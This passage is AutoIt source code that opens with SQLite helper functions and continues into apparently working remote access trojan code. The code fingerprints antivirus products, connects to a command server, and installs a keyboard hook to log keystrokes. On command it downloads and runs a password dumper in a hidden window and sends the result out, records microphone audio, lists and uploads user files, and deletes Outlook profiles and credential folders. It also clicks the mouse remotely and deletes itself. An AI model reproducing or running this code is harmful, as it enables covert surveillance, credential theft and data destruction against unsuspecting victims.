  1215.         If _arraysearch($__ghquerys_sqlite, $hgeneric) > 0 Then Return $sqlite_ok
  1216.     EndIf
  1217.     Return SetError($nerror, 0, $sqlite_error)
  1218. EndFunc
  1219.  
  1220. Func __sqlite_hadd(ByRef $ahlists, $hgeneric)
  1221.     _arrayadd($ahlists, $hgeneric)
  1222. EndFunc
  1223.  
  1224. Func __sqlite_hdel(ByRef $ahlists, $hgeneric)
  1225.     Local $ielement = _arraysearch($ahlists, $hgeneric)
  1226.     If $ielement > 0 Then _arraydelete($ahlists, $ielement)
  1227. EndFunc
  1228.  
  1229. Func __sqlite_verscmp($sfile, $sversion)
  1230.     Local $avrval = DllCall($sfile, "str:cdecl", "sqlite3_libversion")
  1231.     If @error Then Return $sqlite_corrupt
  1232.     Local $szfileversion = StringSplit($avrval[0], ".")
  1233.     Local $maintversion = 0
  1234.     If $szfileversion[0] = 4 Then $maintversion = $szfileversion[4]
  1235.     $szfileversion = (($szfileversion[1] * 1000 + $szfileversion[2]) * 1000 + $szfileversion[3]) * 100 + $maintversion
  1236.     If $sversion < 10000000 Then $sversion = $sversion * 100
  1237.     If $szfileversion >= $sversion Then Return $sqlite_ok
  1238.     Return $sqlite_mismatch
  1239. EndFunc
  1240.  
  1241. Func __sqlite_reporterror($hdb, $sfunction, $squery = Default, $serror = Default, $vreturnvalue = Default, $curerr = @error, $curext = @extended)
  1242.     If @Compiled Then Return SetError($curerr, $curext)
  1243.     If IsKeyword($serror) Then $serror = _sqlite_errmsg($hdb)
  1244.     If IsKeyword($squery) Then $squery = ""
  1245.     Local $sout = "!   SQLite.au3 Error" & @CRLF
  1246.     $sout &= "--> Function: " & $sfunction & @CRLF
  1247.     If $squery <> "" Then $sout &= "--> Query:    " & $squery & @CRLF
  1248.     $sout &= "--> Error:    " & $serror & @CRLF
  1249.     __sqlite_print($sout & @CRLF)
  1250.     If NOT IsKeyword($vreturnvalue) Then Return SetError($curerr, $curext, $vreturnvalue)
  1251.     Return SetError($curerr, $curext)
  1252. EndFunc
  1253.  
  1254. Func __sqlite_szfree($ptr, $curerr = @error)
  1255.     If $ptr <> 0 Then DllCall($g_hdll_sqlite, "none:cdecl", "sqlite3_free", "ptr", $ptr)
  1256.     SetError($curerr)
  1257. EndFunc
  1258.  
  1259. Func __sqlite_stringtoutf8struct($sstring)
  1260.     Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", 65001, "dword", 0, "wstr", $sstring, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  1261.     If @error Then Return SetError(1, @error, "")
  1262.     Local $ttext = DllStructCreate("char[" & $aresult[0] & "]")
  1263.     $aresult = DllCall("Kernel32.dll", "int", "WideCharToMultiByte", "uint", 65001, "dword", 0, "wstr", $sstring, "int", -1, "struct*", $ttext, "int", $aresult[0], "ptr", 0, "ptr", 0)
  1264.     If @error Then Return SetError(2, @error, "")
  1265.     Return $ttext
  1266. EndFunc
  1267.  
  1268. Func __sqlite_download_sqlite3dll($tempfile, $version)
  1269.     Local $url = "http://www.autoitscript.com/autoit3/files/beta/autoit/archive/sqlite/SQLite3" & $version
  1270.     Local $ret
  1271.     If @AutoItX64 = 0 Then
  1272.         $ret = InetGet($url & ".dll", $tempfile, 1)
  1273.     Else
  1274.         $ret = InetGet($url & "_x64.dll", $tempfile, 1)
  1275.     EndIf
  1276.     Local $error = @error
  1277.     FileSetTime($tempfile, __sqlite_inline_modified(), 0)
  1278.     Return SetError($error, 0, $ret)
  1279. EndFunc
  1280.  
  1281. Func __sqlite_print($stext)
  1282.     If $g_sprintcallback_sqlite Then
  1283.         If $g_butf8errormsg_sqlite Then
  1284.             Local $tstr8 = __sqlite_stringtoutf8struct($stext)
  1285.             Call($g_sprintcallback_sqlite, DllStructGetData($tstr8, 1))
  1286.         Else
  1287.             Call($g_sprintcallback_sqlite, $stext)
  1288.         EndIf
  1289.     EndIf
  1290. EndFunc
  1291. $sSQliteDll = (@TempDir & '/Sqlite.dll')
  1292.  
  1293. $spi_setdeskwallpaper = 20
  1294.  
  1295. ;ProsROOT
  1296.  
  1297.  
  1298.  
  1299.  
  1300. ;Meltx
  1301.  
  1302.  
  1303.  
  1304.  
  1305. $amount = ProcessList("x.exe")
  1306.  
  1307. While $amount[0][0] > 1
  1308.  
  1309.     Exit
  1310.  
  1311. WEnd
  1312.  
  1313. ;Bindx
  1314.  
  1315. $amount2 = ProcessList(@ScriptName)
  1316.  
  1317. While $amount2[0][0] > 1
  1318.  
  1319.     Exit
  1320.  
  1321. WEnd
  1322.  
  1323.  
  1324.  
  1325.  
  1326.  
  1327.  
  1328. ;FackProc
  1329.  
  1330.  
  1331.  
  1332.  
  1333.  
  1334.  
  1335.  
  1336.  
  1337.  
  1338.  
  1339. ;Sleepx
  1340.  
  1341.  
  1342.  
  1343.  
  1344.  
  1345. Local $hMod
  1346.  
  1347.  
  1348. Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
  1349.  
  1350. Local $g_hHook
  1351. Local $nCode
  1352. Local $wParam
  1353. Local $lParam
  1354.  
  1355.  
  1356.  
  1357. ;~  OnAutoItExitRegister("Cleanup")
  1358.  
  1359.  
  1360.  
  1361.  
  1362.  
  1363.  
  1364.  
  1365.  
  1366.  
  1367. $xd = "0"
  1368.  
  1369.  
  1370.  
  1371. If ProcessExists("ekrn.exe") Then
  1372.     $antivirus = "NOD32"
  1373. ElseIf ProcessExists("AvastUI.exe") Then
  1374.     $antivirus = "Avast"
  1375. ElseIf ProcessExists("avgcc.exe") Then
  1376.     $antivirus = "AVG"
  1377. ElseIf ProcessExists("avgnt.exe") Then
  1378.     $antivirus = "Avira"
  1379. ElseIf ProcessExists("ahnsd.exe") Then
  1380.     $antivirus = "AhnLab-V3"
  1381. ElseIf ProcessExists("bdss.exe") Then
  1382.     $antivirus = "BitDefender"
  1383. ElseIf ProcessExists("bdv.exe") Then
  1384.     $antivirus = "ByteHero"
  1385. ElseIf ProcessExists("clamav.exe") Then
  1386.     $antivirus = "ClamAV"
  1387. ElseIf ProcessExists("fpavserver.exe") Then
  1388.     $antivirus = "F-Prot"
  1389. ElseIf ProcessExists("fssm32.exe") Then
  1390.     $antivirus = "F-Secure"
  1391. ElseIf ProcessExists("avkcl.exe") Then
  1392.     $antivirus = "GData"
  1393. ElseIf ProcessExists("engface.exe") Then
  1394.     $antivirus = "Jiangmin"
  1395. ElseIf ProcessExists("avp.exe") Then
  1396.     $antivirus = "Kaspersky"
  1397. ElseIf ProcessExists("updaterui.exe") Then
  1398.     $antivirus = "McAfee"
  1399. ElseIf ProcessExists("msmpeng.exe") Then
  1400.     $antivirus = "Microsoft"
  1401. ElseIf ProcessExists("zanda.exe") Then
  1402.     $antivirus = "Norman"
  1403. ElseIf ProcessExists("npupdate.exe") Then
  1404.     $antivirus = "nProtect"
  1405. ElseIf ProcessExists("inicio.exe") Then
  1406.     $antivirus = "Panda"
  1407. ElseIf ProcessExists("sagui.exe") Then
  1408.     $antivirus = "Prevx"
  1409. ElseIf ProcessExists("Norman.exe") Then
  1410.     $antivirus = "Sophos"
  1411. ElseIf ProcessExists("savservice.exe") Then
  1412.     $antivirus = "Sophos"
  1413. ElseIf ProcessExists("saswinlo.exe") Then
  1414.     $antivirus = "SUPERAntiSpyware"
  1415. ElseIf ProcessExists("spbbcsvc.exe") Then
  1416.     $antivirus = "Symantec"
  1417. ElseIf ProcessExists("thd32.exe") Then
  1418.     $antivirus = "TheHacker"
  1419. ElseIf ProcessExists("ufseagnt.exe") Then
  1420.     $antivirus = "TrendMicro"
  1421. ElseIf ProcessExists("dllhook.exe") Then
  1422.     $antivirus = "VBA32"
  1423. ElseIf ProcessExists("sbamtray.exe") Then
  1424.     $antivirus = "VIPRE"
  1425. ElseIf ProcessExists("vrmonsvc.exe") Then
  1426.     $antivirus = "ViRobot"
  1427. ElseIf ProcessExists("dllhook.exe") Then
  1428.     $antivirus = "VBA32"
  1429. ElseIf ProcessExists("vbcalrt.exe") Then
  1430.     $antivirus = "VirusBuster"
  1431. Else
  1432.     $antivirus = "No"
  1433. EndIf
  1434.  
  1435. Local $sFileBuffer
  1436.  
  1437.  
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444.  
  1445.  
  1446.  
  1447.  
  1448.  
  1449.  
  1450.  
  1451.  
  1452. ;Copy
  1453.  
  1454.  
  1455.  
  1456. ;~ Sleep (1000)
  1457.  
  1458.  
  1459. ;StartUp
  1460.  
  1461.  
  1462.  
  1463. ;Hidex
  1464.  
  1465. $Sezamo = 0
  1466.  
  1467. TCPStartup()
  1468.  
  1469. Local $cam = _WebCamDetect()
  1470.  
  1471.  
  1472.  
  1473.  
  1474. $Vicname = "Victim"
  1475.  
  1476.  
  1477. Local $tc = ""
  1478.  
  1479.  
  1480. ;~ OnAutoItExitRegister("Cleanup")
  1481.  
  1482.  
  1483.  
  1484.  
  1485.  
  1486.  
  1487.  
  1488.  
  1489. $strComputer = "."
  1490.  
  1491. $objWMIService = ObjGet('winmgmts:{impersonationLevel=impersonate}!\\' & $strComputer & "\root\cimv2")
  1492.  
  1493. $colChassis = $objWMIService.ExecQuery("Select * from Win32_SystemEnclosure")
  1494.  
  1495. For $objChassis In $colChassis
  1496.  
  1497.     For $strChassisType In $objChassis.ChassisTypes
  1498.  
  1499.         If $strChassisType = 8 Or $strChassisType = 9 Or $strChassisType = 10 Then
  1500.  
  1501.  
  1502.             $detectOStype = "laptop"
  1503.  
  1504.         ElseIf $strChassisType = 3 Or $strChassisType = 4 Or $strChassisType = 5 Or $strChassisType = 6 Or $strChassisType = 7 Then
  1505.  
  1506.  
  1507.             $detectOStype = "Desktop"
  1508.  
  1509.         Else
  1510.  
  1511.  
  1512.             $detectOStype = "x"
  1513.  
  1514.  
  1515.         EndIf
  1516.  
  1517.     Next
  1518.  
  1519. Next
  1520.  
  1521.  
  1522. $Qlits = 15
  1523.  
  1524.  
  1525. While 1
  1526.  
  1527.  
  1528.  
  1529.  
  1530.  
  1531.  
  1532.  
  1533.  
  1534.  
  1535.     $1 = TCPNameToIP("127.0.0.1")
  1536.  
  1537. ;~ $1 = TCPNameToIP("127.0.0.1")
  1538.  
  1539.     Sleep(1)
  1540.  
  1541.  
  1542.  
  1543.     ;StartPe1
  1544.  
  1545.  
  1546.     ;StartPer
  1547.  
  1548.     ;StartPe2
  1549.  
  1550.  
  1551.  
  1552.     ;UsbStart
  1553.  
  1554.  
  1555.  
  1556.     ;taskmgrX
  1557.  
  1558.     ;Msconfig
  1559.  
  1560.  
  1561.  
  1562.  
  1563.  
  1564.  
  1565.  
  1566.  
  1567.  
  1568.     $r = TCPConnect($1, "1337")
  1569.  
  1570. ;~ $r = TCPConnect($1, "1337")
  1571.  
  1572.  
  1573.  
  1574.  
  1575.  
  1576.     If $r = -1 Or @error Then ContinueLoop
  1577.  
  1578.  
  1579.     $Uac = RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
  1580.  
  1581.  
  1582.     If @OSVersion = "WIN_10" Or @OSVersion = "WIN_7" Or @OSVersion = "WIN_8" Or @OSVersion = "WIN_2008" Or @OSVersion = "WIN_2008R2" Then
  1583.  
  1584.         If $Uac = 0 Then
  1585.             $Uacx = "Off"
  1586.         ElseIf $Uac = 1 Then
  1587.             $Uacx = "On"
  1588.         EndIf
  1589.  
  1590.  
  1591.     Else
  1592.         $Uacx = "x"
  1593.  
  1594.     EndIf
  1595.  
  1596.  
  1597.  
  1598.  
  1599.     $1x = InetRead("http://ip-score.com/checkip/")
  1600.  
  1601.     $11x = BinaryToString($1x)
  1602.  
  1603.     $Count = _StringBetween($11x, '.png"> ', '</p>')
  1604.  
  1605.  
  1606.     If $Count = "" Or 0 Or @error Then
  1607.  
  1608.         $1666 = "x"
  1609.  
  1610.     Else
  1611.         $1666 = $Count[1]
  1612.     EndIf
  1613.  
  1614.  
  1615.     $1xs = InetRead("http://ip-score.com/checkip/")
  1616.  
  1617.     $11xs = BinaryToString($1xs)
  1618.  
  1619.     $Count2 = _StringBetween($11xs, '<b>', '</b>')
  1620.  
  1621.  
  1622.     If $Count2 = "" Or 0 Or @error Then
  1623.  
  1624.         $1666SS = "x"
  1625.  
  1626.     Else
  1627.         $1666SS = $Count2[1]
  1628.     EndIf
  1629.  
  1630.  
  1631.  
  1632.  
  1633.     TCPSend($r, $1666 & "|" & $Vicname & "|" & $1666SS & "|" & @UserName & "|" & @OSVersion & "|" & @OSArch & "|" & $cam & "|" & $antivirus & "|" & $Uacx & "|" & "ddd" & "|" & $detectOStype & "|" & "beta")
  1634.  
  1635.  
  1636.  
  1637.     If @error Then ContinueLoop
  1638.  
  1639.     Cleanup()
  1640.  
  1641.  
  1642.     Local $hMod
  1643.  
  1644.  
  1645.     Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
  1646.  
  1647.     Local $g_hHook
  1648.     Local $nCode
  1649.     Local $wParam
  1650.     Local $lParam
  1651.  
  1652.     $g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
  1653.     $hMod = _WinAPI_GetModuleHandle(0)
  1654.     $g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)
  1655.  
  1656.  
  1657.  
  1658.  
  1659.  
  1660.  
  1661. ;~ OnAutoItExitRegister("Cleanup")
  1662.  
  1663.  
  1664.  
  1665.  
  1666.     $temp = TimerInit()
  1667.  
  1668.  
  1669.  
  1670.  
  1671.  
  1672.     While 1
  1673.  
  1674.  
  1675.  
  1676.  
  1677.  
  1678.  
  1679.  
  1680.  
  1681.  
  1682.         Sleep(20)
  1683.  
  1684.         $uu = TCPRecv($r, 2048)
  1685.  
  1686.         If @error Then ExitLoop
  1687.  
  1688.  
  1689.         If StringInStr($uu, "Time0") Then
  1690.  
  1691.             $temp = TimerInit()
  1692.  
  1693.             $uu=StringReplace($uu,'Time0',"")
  1694.  
  1695.         EndIf
  1696.  
  1697.  
  1698.  
  1699.  
  1700.  
  1701.  
  1702.  
  1703.  
  1704.  
  1705.  
  1706.  
  1707.  
  1708.         If StringInStr($uu,"Outlopass") Then
  1709.  
  1710.             FileDelete(@tempdir&'/passlist.txt')
  1711.  
  1712.             $ls=_StringBetween($uu,"Outlopass","DxzR")
  1713.  
  1714.  
  1715.  
  1716.  
  1717.  
  1718.  
  1719.  
  1720.  
  1721. InetGet($ls[0], @TempDir & "/Outx.exe")
  1722.  
  1723.  
  1724.  
  1725. Run(@ComSpec & ' /c Outx.exe -f "passlist.txt"',@tempdir,"",@SW_HIDE)
  1726.  
  1727. Sleep(2000)
  1728.  
  1729. If FileExists(@tempdir&'/passlist.txt') Then
  1730.     $dez=FileRead(@tempdir&'/passlist.txt')
  1731.  
  1732.     TCPSend($r, $dez)
  1733.  
  1734. Else
  1735.  
  1736.     TCPSend($r, 'No Password File')
  1737.  
  1738.  
  1739. EndIf
  1740.  
  1741. FileDelete(@tempdir&'/Outx.exe')
  1742.  
  1743.  
  1744.  
  1745.  
  1746.             EndIf
  1747.  
  1748.  
  1749.  
  1750.                 If StringInStr ($uu,"OutLuke") Then
  1751.  
  1752.  
  1753. ProcessClose("OUTLOOK.EXE")
  1754.  
  1755.  
  1756.         RegDelete("HKCU\Software\Microsoft\Internet Account Manager\Accounts")
  1757. RegDelete("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts")
  1758. RegDelete("HKCU\Software\Microsoft\Windows Messaging Subsystem\Profiles")
  1759.  
  1760. RegDelete("HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook")
  1761.  
  1762.  
  1763. RegDelete("HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles")
  1764. RegDelete("HKCU\Software\Microsoft\Office\7.0\Outlook\Profiles")
  1765. RegDelete("HKCU\Software\Microsoft\Office\8.0\Outlook\Profiles")
  1766. RegDelete("HKCU\Software\Microsoft\Office\9.0\Outlook\Profiles")
  1767. RegDelete("HKCU\Software\Microsoft\Office\11.0\Outlook\Profiles")
  1768. RegDelete("HKCU\Software\Microsoft\Office\12.0\Outlook\Profiles")
  1769. RegDelete("HKCU\Software\Microsoft\Office\14.0\Outlook\Profiles")
  1770. RegDelete("HKCU\Software\Microsoft\Office\15.0\Outlook\Profiles")
  1771. RegDelete("HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles")
  1772.  
  1773.  FileDelete(@appdatadir&"\Microsoft\Credentials")
  1774.  
  1775.  FileDelete(@UserProfileDir&"\AppData\Local\Microsoft\Credentials\")
  1776.  
  1777.         EndIf
  1778.  
  1779.  
  1780.  
  1781.         If StringInStr ($uu,"QURAN") Then
  1782.  
  1783.  
  1784.  
  1785.             FileCreateShortcut("mms://50.22.223.13/s_gmd",@tempdir&"/Q.lnk",@tempdir)
  1786. ShellExecute(@tempdir&"/Q.lnk","","","",@SW_HIDE)
  1787.  
  1788.  
  1789.  
  1790.         EndIf
  1791.  
  1792.         If StringInStr ($uu,"kortos") Then
  1793.  
  1794.             ProcessClose('wmplayer.exe')
  1795.  
  1796.  
  1797.         EndIf
  1798.  
  1799.  
  1800.         If StringInStr($uu,"interpas")Then
  1801.  
  1802. _888Pass()
  1803.  
  1804. Sleep(2000)
  1805.  
  1806. If FileExists(@tempdir&'/PassW8.txt') Then
  1807.     $dez=FileRead(@tempdir&'/PassW8.txt')
  1808.  
  1809.     TCPSend($r, $dez)
  1810.  
  1811. Else
  1812.  
  1813.     TCPSend($r, 'No Password File')
  1814.  
  1815.  
  1816.     EndIf
  1817.  
  1818.  
  1819.  
  1820.             EndIf
  1821.  
  1822.  
  1823.  
  1824.  
  1825.  
  1826.  
  1827.  
  1828.         If StringInStr($uu, "OnlineKey") Then
  1829.             If FileExists(@TempDir & "/Klog.txt") Then
  1830.  
  1831.                 Sleep(300)
  1832.  
  1833.                 $sdfz = FileRead(@TempDir & "/Klog.txt")
  1834.  
  1835.  
  1836.                 TCPSend($r,  $sdfz)
  1837.  
  1838.  
  1839.  
  1840.             EndIf
  1841.  
  1842.  
  1843.         EndIf
  1844.  
  1845.  
  1846.         If StringInStr($uu, "OnlineKDel") Then
  1847.  
  1848.             If FileExists(@TempDir & "/Klog.txt") Then
  1849.  
  1850.                 FileDelete(@TempDir & "/Klog.txt")
  1851.  
  1852.                 TCPCloseSocket($uu)
  1853.             EndIf
  1854.  
  1855.  
  1856.         EndIf
  1857.  
  1858.  
  1859.  
  1860.  
  1861.  
  1862.  
  1863.  
  1864.  
  1865.         If StringLeft($uu, 5) = "Speak" Then
  1866.  
  1867.             $is = _StringBetween($uu, "Speak|", "|")
  1868.  
  1869.  
  1870.  
  1871.             $Default = _StartTTS()
  1872.  
  1873.             _SetVolume($Default, 100)
  1874.  
  1875.             _SetRate($Default, -4)
  1876.  
  1877.             _Speak($Default, $is[0])
  1878.  
  1879.  
  1880.  
  1881.  
  1882.  
  1883.         EndIf
  1884.  
  1885.  
  1886.  
  1887.         If StringLeft($uu, 7) = 'GetSize' Then
  1888.  
  1889.  
  1890.             $iuiy1 = _StringBetween($uu, "GetSize|", "|")
  1891.  
  1892.  
  1893.  
  1894.             $ssx = FileGetSize($iuiy1[0])
  1895.  
  1896.             If Not @error Then
  1897.  
  1898.                 If $ssx <> "" And $ssx <> "0" Then
  1899.  
  1900.                     TCPSend($r, "Sizerx|" & $ssx & "|")
  1901.  
  1902.                 EndIf
  1903.  
  1904.             EndIf
  1905.  
  1906.  
  1907.         EndIf
  1908.  
  1909.         If StringLeft($uu, 8) = 'sDown0xs' Then
  1910.  
  1911.             $iuiy1 = _StringBetween($uu, "sDown0xs|", "|")
  1912.  
  1913.             $treq = FileRead($iuiy1[0])
  1914.  
  1915.             TCPSend($r, $treq)
  1916.  
  1917.  
  1918.         EndIf
  1919.  
  1920.  
  1921.  
  1922.         If StringLeft($uu, 6) = 'Comprx' Then
  1923.  
  1924.             $iuiy1 = _StringBetween($uu, "Comprx|", "|")
  1925.  
  1926.  
  1927.  
  1928.  
  1929.             $tre = StringSplit($iuiy1[0], "\")
  1930.  
  1931.  
  1932.  
  1933.             $sseazw = _StringBetween("8m2" & $iuiy1[0], "8m2", $tre[$tre[0]])
  1934.  
  1935.  
  1936.  
  1937.  
  1938.  
  1939.             $Zip = _Zip_Create($sseazw[0] & $tre[$tre[0]] & ".zip")
  1940.  
  1941.  
  1942.             _Zip_AddFile($Zip, $iuiy1[0], 1)
  1943.  
  1944.  
  1945.  
  1946.  
  1947.  
  1948.         EndIf
  1949.  
  1950.  
  1951.  
  1952.  
  1953.  
  1954.         If StringLeft($uu, 6) = 'WallPx' Then
  1955.  
  1956.  
  1957.  
  1958.             $iuiy = _StringBetween($uu, "WallPx|", "|")
  1959.  
  1960.  
  1961.  
  1962.             RegWrite("HKCU\Control Panel\Desktop", "Wallpaper", "REG_SZ", $iuiy[0])
  1963.  
  1964.  
  1965.  
  1966.  
  1967. ;~  RunWait("RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True")
  1968.  
  1969.             _WinAPI_SystemParametersInfo($SPI_SETDESKWALLPAPER, 0)
  1970.  
  1971.  
  1972.         EndIf
  1973.  
  1974.  
  1975.  
  1976.  
  1977.  
  1978.  
  1979.         If StringLeft($uu, 6) = 'Execut' Then
  1980.  
  1981.             $iuiy = _StringBetween($uu, "Execut|", "|")
  1982.  
  1983.  
  1984.  
  1985.  
  1986.             ShellExecute($iuiy[0])
  1987.  
  1988.  
  1989.  
  1990.         EndIf
  1991.  
  1992.  
  1993.         If StringLeft($uu, 7) = 'Deletxc' Then
  1994.  
  1995.             $iuiys = _StringBetween($uu, "Deletxc|", "|")
  1996.  
  1997.  
  1998.  
  1999.  
  2000.             FileDelete($iuiys[0])
  2001.  
  2002.  
  2003.  
  2004.         EndIf
  2005.  
  2006.  
  2007.  
  2008.  
  2009.  
  2010.         If $uu = "AllDriver" Then
  2011.  
  2012.  
  2013.  
  2014.             $y = DriveGetDrive("ALL")
  2015.  
  2016.  
  2017.  
  2018.  
  2019.  
  2020.             If $y <> "" Then
  2021.  
  2022.                 $tt = _ArrayToString($y, "\|", 1)
  2023.  
  2024.                 $y2 = StringUpper($tt)
  2025.  
  2026.                 TCPSend($r, "sisox" & $y2 & "Bgt")
  2027.  
  2028.  
  2029.  
  2030.             EndIf
  2031.  
  2032.         EndIf
  2033.  
  2034.  
  2035.  
  2036.  
  2037.  
  2038.  
  2039.  
  2040.  
  2041.  
  2042.  
  2043.  
  2044.  
  2045.  
  2046.  
  2047.  
  2048.         If $uu = "DeskDir" Then
  2049.  
  2050.  
  2051.  
  2052.  
  2053.             $fr = _FileListToArray(@DesktopDir, "*")
  2054.  
  2055.  
  2056.  
  2057.  
  2058.             $ssea = _ArrayToString($fr, "|", 1)
  2059.  
  2060.  
  2061.  
  2062.  
  2063.             TCPSend($r, "Starz" & $ssea & 'input' & @DesktopDir & "incut")
  2064.  
  2065.  
  2066.  
  2067.  
  2068.         EndIf
  2069.  
  2070.  
  2071.  
  2072.         If $uu = "Pictures" Then
  2073.  
  2074.             $fr = _FileListToArray(@UserProfileDir & "\Pictures", "*")
  2075.  
  2076.  
  2077.  
  2078.  
  2079.  
  2080.  
  2081.             $ssea = _ArrayToString($fr, "|", 1)
  2082.  
  2083.  
  2084.  
  2085.  
  2086.             TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\Pictures" & "incut")
  2087.  
  2088.  
  2089.  
  2090.  
  2091.  
  2092.         EndIf
  2093.  
  2094.         If $uu = "UserPro" Then
  2095.  
  2096.             $fr = _FileListToArray(@UserProfileDir, "*")
  2097.  
  2098.             $ssea = _ArrayToString($fr, "|", 1)
  2099.  
  2100.  
  2101.  
  2102.  
  2103.             TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "incut")
  2104.  
  2105.  
  2106.  
  2107.  
  2108.         EndIf
  2109.  
  2110.  
  2111.         If $uu = "StartUp" Then
  2112.  
  2113.             $fr = _FileListToArray(@StartupDir, "*")
  2114.  
  2115.             $ssea = _ArrayToString($fr, "|", 1)
  2116.  
  2117.  
  2118.  
  2119.  
  2120.             TCPSend($r, "Starz" & $ssea & 'input' & @StartupDir & "incut")
  2121.  
  2122.  
  2123.  
  2124.  
  2125.         EndIf
  2126.  
  2127.  
  2128.         If $uu = "AppData" Then
  2129.  
  2130.             $fr = _FileListToArray(@UserProfileDir & "\AppData", "*")
  2131.  
  2132.             $ssea = _ArrayToString($fr, "|", 1)
  2133.  
  2134.  
  2135.  
  2136.  
  2137.             TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\AppData" & "incut")
  2138.  
  2139.  
  2140.  
  2141.  
  2142.         EndIf
  2143.  
  2144.         If $uu = "Roaming" Then
  2145.  
  2146.             $fr = _FileListToArray(@UserProfileDir & "\AppData\Roaming", "*")
  2147.  
  2148.             $ssea = _ArrayToString($fr, "|", 1)
  2149.  
  2150.  
  2151.  
  2152.  
  2153.             TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\AppData\Roaming" & "incut")
  2154.  
  2155.  
  2156.  
  2157.  
  2158.         EndIf
  2159.  
  2160.  
  2161.         If $uu = "Tempdir" Then
  2162.  
  2163.             $fr = _FileListToArray(@TempDir, "*")
  2164.  
  2165.             $ssea = _ArrayToString($fr, "|", 1)
  2166.  
  2167.  
  2168.  
  2169.  
  2170.             TCPSend($r, "Starz" & $ssea & 'input' & @TempDir & "incut")
  2171.  
  2172.  
  2173.  
  2174.  
  2175.         EndIf
  2176.  
  2177.         If $uu = "Localdir" Then
  2178.  
  2179.             $fr = _FileListToArray(@UserProfileDir & "\AppData\Local", "*")
  2180.  
  2181.             $ssea = _ArrayToString($fr, "|", 1)
  2182.  
  2183.  
  2184.  
  2185.  
  2186.             TCPSend($r, "Starz" & $ssea & 'input' & @UserProfileDir & "\AppData\Local" & "incut")
  2187.  
  2188.  
  2189.         EndIf
  2190.  
  2191.  
  2192.  
  2193.         If StringLeft($uu, 5) = "Refx|" Then
  2194.  
  2195.  
  2196.  
  2197.             $ssez = _StringBetween($uu, "Refx|", "|")
  2198.  
  2199.  
  2200.  
  2201.  
  2202.  
  2203.             $fr = _FileListToArray($ssez[0], "*")
  2204.  
  2205.  
  2206.             $sseaw = _ArrayToString($fr, "|", 1)
  2207.  
  2208.  
  2209.             TCPSend($r, "Sexvet|" & $sseaw)
  2210.  
  2211.  
  2212.  
  2213.  
  2214.  
  2215.         EndIf
  2216.  
  2217. ;~ EndIf
  2218.  
  2219.  
  2220.  
  2221.  
  2222.  
  2223.  
  2224.  
  2225.  
  2226.  
  2227.  
  2228.  
  2229.  
  2230.  
  2231.  
  2232.  
  2233.  
  2234.  
  2235.  
  2236.  
  2237.  
  2238.  
  2239.  
  2240.  
  2241.  
  2242.  
  2243.  
  2244.  
  2245.  
  2246.  
  2247.  
  2248.  
  2249.  
  2250.  
  2251.  
  2252.  
  2253.  
  2254.  
  2255.  
  2256.  
  2257.  
  2258.  
  2259.  
  2260.  
  2261.  
  2262.  
  2263.  
  2264.  
  2265.  
  2266.  
  2267.  
  2268.  
  2269.  
  2270.         If StringInStr($uu, "Sound") Then
  2271.  
  2272.             $temp = TimerInit()
  2273.  
  2274.             _WinAPI_Wow64EnableWow64FsRedirection(False)
  2275.  
  2276.  
  2277.             Local $111 = _StringBetween($uu, "|", "|")
  2278.  
  2279.             $sss = (@TempDir & "\SouSen.wav")
  2280.  
  2281.             $sExe = "C:\Windows\system32\soundrecorder.exe /file " & $sss & " /duration 00:00:" & $111[0]
  2282.  
  2283.             RunWait($sExe)
  2284.  
  2285.             $xdr = FileRead(@TempDir & "\SouSen.wav")
  2286.  
  2287.             TCPSend($r, $xdr)
  2288.  
  2289.             TCPSend($r, "Soundclos")
  2290.  
  2291.  
  2292.  
  2293.  
  2294.  
  2295.         EndIf
  2296.  
  2297.  
  2298.  
  2299.  
  2300.  
  2301.  
  2302.         If $uu = "msg" Then
  2303.  
  2304.             $temp = TimerInit()
  2305.  
  2306.             MsgBox(0, '', "           Hacked", 2)
  2307.  
  2308.         EndIf
  2309.  
  2310.         If $uu = "Refrech" Then
  2311.  
  2312.             ExitLoop
  2313.             $Keyser = 1
  2314.  
  2315.         EndIf
  2316.  
  2317.         If StringInStr($uu, "Uninstall") Then
  2318.  
  2319.  
  2320.             $temp = TimerInit()
  2321.  
  2322. RegDelete('HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' ,'Microsoft Update' )
  2323.  
  2324.  
  2325.  FileDelete(@TempDir&'/Skyp/Microsoft Update.lnk')
  2326.  
  2327.  
  2328. Run(@comspec & ' /c timeout 5 & Del "'&@ScriptFullPath&'" & exit' ,@Tempdir,@SW_HIDE)
  2329.  
  2330.             Exit
  2331.  
  2332.  
  2333.  
  2334.  
  2335.  
  2336.         EndIf
  2337.  
  2338.  
  2339.         If $uu = "kill" Then
  2340.  
  2341.             $temp = TimerInit()
  2342.  
  2343.             Exit
  2344.  
  2345.         EndIf
  2346.  
  2347.  
  2348.  
  2349.         If StringInStr($uu, "MouSxA") Then
  2350.  
  2351.             $uu2 = StringReplace($uu, "Time0", "")
  2352.             $uu2 = StringReplace($uu, "Screen", "")
  2353.  
  2354.             $DD1 = _StringBetween($uu2, "MouSxA", "Xc")
  2355.  
  2356.             $DD2 = _StringBetween($uu2, "Xc", "Xb")
  2357.  
  2358. ;~           MsgBox(0,"A",$DD1[0]&"  "&$DD2[0])
  2359.  
  2360.  
  2361.  
  2362.             MouseClick("Left", $DD1[0], $DD2[0], "1", 1)
  2363.  
  2364.  
  2365.  
  2366.         EndIf
  2367.  
  2368.  
